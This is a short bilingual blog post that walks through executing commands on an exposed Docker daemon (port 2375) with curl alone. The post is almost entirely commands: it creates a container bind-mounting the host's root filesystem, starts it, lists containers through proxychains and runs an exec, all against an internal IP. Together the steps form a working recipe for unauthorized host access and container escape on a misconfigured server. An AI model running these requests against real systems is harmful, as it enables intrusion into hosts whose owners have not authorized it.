Executar comandos en un open docker socket 2375

by | Mar 10, 2021 | Blog, Cloud, Herramientas / tools

Cuando tienes Docker es muy sencillo, pero que pasa si solo tienes curl?

#So you 'create' the container from the image:
curl -H 'Content-Type: application/json' -d '{"image": "redis:latest", "cmd": "./run.sh", "Volumes": {"/mnt": {}}, "Binds": ["/:/mnt:ro"]}' -X POST 172.17.0.1:2375/v1.40/containers/create

#Then you need to start the container:
curl -H 'Content-Type: application/json' -d '' -X POST 172.17.0.1:2375/containers/<container id>/start

#You can check if the container is running with:
proxychains curl 172.17.0.1:2375/v1.40/containers/json 

#Create an exec command (this one does "ls /":
curl -H 'Content-Type: application/json' -d '{"AttachStdout": true, "Tty": true, "Cmd": ["ls", "/"]}' -X POST 172.17.0.1:2375/v1.40/containers/<container id>/exec

#This returns an exec ID.
curl -H 'Content-Type: application/json' -d '{"Detach": false, "Tty": true}' -X POST 172.17.0.1:2375/v1.40/exec/<exec id>/start

#Cuando lo mandas la respuesta es el resultado del comando